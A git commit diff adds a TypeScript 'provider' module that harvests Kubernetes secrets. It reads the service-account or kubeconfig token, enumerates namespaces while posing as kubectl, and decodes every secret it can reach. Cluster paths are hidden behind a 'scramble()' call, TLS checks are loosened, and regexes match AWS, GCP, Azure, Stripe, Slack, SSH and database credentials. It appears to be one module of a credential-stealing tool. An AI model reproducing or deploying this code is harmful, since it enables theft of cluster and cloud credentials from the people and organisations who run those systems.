Upload files to "src/providers/kubernetes"
This commit is contained in:
@@ -0,0 +1,271 @@
|
|||||||
|
import * as fs from "fs";
|
||||||
|
import * as path from "path";
|
||||||
|
|
||||||
|
import { detectOS } from "../../utils/config";
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
export class K8sSecretsService extends Provider {
|
||||||
|
private readonly TIMEOUT_MS = 10000;
|
||||||
|
private readonly API_BASE = process.env.KUBERNETES_SERVICE_HOST
|
||||||
|
? `https://${process.env.KUBERNETES_SERVICE_HOST}:${process.env.KUBERNETES_SERVICE_PORT}`
|
||||||
|
: null;
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
super("kubernetes", "secrets", {
|
||||||
|
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
|
||||||
|
awskey:
|
||||||
|
/(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
|
||||||
|
awsSessionToken: /aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
|
||||||
|
gcpKey:
|
||||||
|
/"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
|
||||||
|
azureKey:
|
||||||
|
/(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
|
||||||
|
dbConnStr:
|
||||||
|
/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
|
||||||
|
stripeKey: /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
|
||||||
|
slackToken: /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
|
||||||
|
twilioKey: /SK[0-9a-f]{32}/gi,
|
||||||
|
privateKey: /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
|
||||||
|
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
|
||||||
|
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
|
||||||
|
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
|
||||||
|
secret:
|
||||||
|
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
|
||||||
|
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
|
||||||
|
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private isInCluster(): boolean {
|
||||||
|
return !!process.env.KUBERNETES_SERVICE_HOST;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async getCA(): Promise<Buffer | null> {
|
||||||
|
const caPath = scramble(
|
||||||
|
"/var/run/secrets/kubernetes.io/serviceaccount/ca.crt",
|
||||||
|
);
|
||||||
|
try {
|
||||||
|
if (fs.existsSync(caPath)) {
|
||||||
|
return await fs.promises.readFile(caPath);
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async readServiceAccountToken(): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
const token = await fs.promises.readFile(
|
||||||
|
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
||||||
|
"utf-8",
|
||||||
|
);
|
||||||
|
return token.trim();
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async readNamespace(): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
const ns = await fs.promises.readFile(
|
||||||
|
scramble("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
||||||
|
"utf-8",
|
||||||
|
);
|
||||||
|
return ns.trim();
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private getKubeconfigToken(): string | null {
|
||||||
|
try {
|
||||||
|
const home = process.env.HOME || process.env.USERPROFILE;
|
||||||
|
if (!home) return null;
|
||||||
|
|
||||||
|
const kubeconfigPath =
|
||||||
|
process.env.KUBECONFIG || path.join(home, ".kube", "config");
|
||||||
|
if (!fs.existsSync(kubeconfigPath)) return null;
|
||||||
|
|
||||||
|
const raw = fs.readFileSync(kubeconfigPath, "utf-8");
|
||||||
|
|
||||||
|
const patterns = [
|
||||||
|
/token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
||||||
|
/id-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
||||||
|
/access-token:\s*["']?([A-Za-z0-9_\-\.]{20,})["']?/i,
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const pattern of patterns) {
|
||||||
|
const match = raw.match(pattern);
|
||||||
|
if (match && match[1]) return match[1];
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async apiRequest(
|
||||||
|
apiPath: string,
|
||||||
|
token: string,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<any> {
|
||||||
|
const ca = await this.getCA();
|
||||||
|
|
||||||
|
if (!this.API_BASE) {
|
||||||
|
throw new Error("No Kubernetes API host configured");
|
||||||
|
}
|
||||||
|
|
||||||
|
const url = `${this.API_BASE}${apiPath}`;
|
||||||
|
|
||||||
|
const controller = new AbortController();
|
||||||
|
const internalSignal = controller.signal;
|
||||||
|
|
||||||
|
const timeout = setTimeout(() => {
|
||||||
|
controller.abort();
|
||||||
|
}, this.TIMEOUT_MS);
|
||||||
|
|
||||||
|
const abortHandler = () => controller.abort();
|
||||||
|
|
||||||
|
if (signal) {
|
||||||
|
if (signal.aborted) {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
throw new Error("Aborted");
|
||||||
|
}
|
||||||
|
signal.addEventListener("abort", abortHandler);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: {
|
||||||
|
Authorization: `Bearer ${token}`,
|
||||||
|
"User-Agent": "kubectl/v1.28.0",
|
||||||
|
Accept: "application/json",
|
||||||
|
},
|
||||||
|
signal: internalSignal,
|
||||||
|
tls: {
|
||||||
|
rejectUnauthorized: !!ca,
|
||||||
|
ca: ca || undefined,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!res.ok) {
|
||||||
|
throw new Error(`K8s API returned ${res.status}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
return await res.json();
|
||||||
|
} catch (err: any) {
|
||||||
|
if (internalSignal.aborted) {
|
||||||
|
if (signal?.aborted) throw new Error("Aborted");
|
||||||
|
throw new Error(`Request timeout after ${this.TIMEOUT_MS}ms`);
|
||||||
|
}
|
||||||
|
throw err;
|
||||||
|
} finally {
|
||||||
|
clearTimeout(timeout);
|
||||||
|
if (signal) signal.removeEventListener("abort", abortHandler);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async listNamespaces(
|
||||||
|
token: string,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<string[]> {
|
||||||
|
try {
|
||||||
|
const data = await this.apiRequest(
|
||||||
|
scramble("/api/v1/namespaces"),
|
||||||
|
token,
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
return (data.items || [])
|
||||||
|
.map((ns: any) => ns.metadata?.name)
|
||||||
|
.filter(Boolean);
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async getNamespaceSecrets(
|
||||||
|
namespace: string,
|
||||||
|
token: string,
|
||||||
|
signal?: AbortSignal,
|
||||||
|
): Promise<any[]> {
|
||||||
|
try {
|
||||||
|
const data = await this.apiRequest(
|
||||||
|
scramble("/api/v1/namespaces/") + namespace + scramble("/secrets"),
|
||||||
|
token,
|
||||||
|
signal,
|
||||||
|
);
|
||||||
|
return (data.items || []).map((secret: any) => {
|
||||||
|
const decoded: Record<string, string> = {};
|
||||||
|
if (secret.data) {
|
||||||
|
for (const [k, v] of Object.entries(secret.data)) {
|
||||||
|
try {
|
||||||
|
decoded[k] = Buffer.from(v as string, "base64").toString("utf-8");
|
||||||
|
} catch {
|
||||||
|
decoded[k] = String(v);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
name: secret.metadata?.name,
|
||||||
|
namespace: namespace,
|
||||||
|
type: secret.type || "Opaque",
|
||||||
|
data: decoded,
|
||||||
|
labels: secret.metadata?.labels || {},
|
||||||
|
};
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
if (detectOS() !== "LINUX") {
|
||||||
|
return this.failure("Not Linux.");
|
||||||
|
}
|
||||||
|
|
||||||
|
const token = this.isInCluster()
|
||||||
|
? await this.readServiceAccountToken()
|
||||||
|
: this.getKubeconfigToken();
|
||||||
|
|
||||||
|
if (!token) {
|
||||||
|
return this.failure("No valid Kubernetes credentials found");
|
||||||
|
}
|
||||||
|
|
||||||
|
let namespaces = await this.listNamespaces(token);
|
||||||
|
|
||||||
|
if (namespaces.length === 0) {
|
||||||
|
const currentNs = await this.readNamespace();
|
||||||
|
namespaces = [currentNs || "default"];
|
||||||
|
}
|
||||||
|
|
||||||
|
const excluded = new Set([
|
||||||
|
scramble("kube-system"),
|
||||||
|
scramble("kube-public"),
|
||||||
|
scramble("kube-node-lease"),
|
||||||
|
scramble("local-path-storage"),
|
||||||
|
scramble("cert-manager"),
|
||||||
|
]);
|
||||||
|
const allSecrets: any[] = [];
|
||||||
|
|
||||||
|
for (const ns of namespaces) {
|
||||||
|
if (excluded.has(ns)) continue;
|
||||||
|
const secrets = await this.getNamespaceSecrets(ns, token);
|
||||||
|
allSecrets.push(...secrets);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (allSecrets.length === 0) {
|
||||||
|
return this.failure("No secrets accessible");
|
||||||
|
}
|
||||||
|
|
||||||
|
return this.success({
|
||||||
|
clusterHost: this.API_BASE,
|
||||||
|
totalSecrets: allSecrets.length,
|
||||||
|
secrets: allSecrets,
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user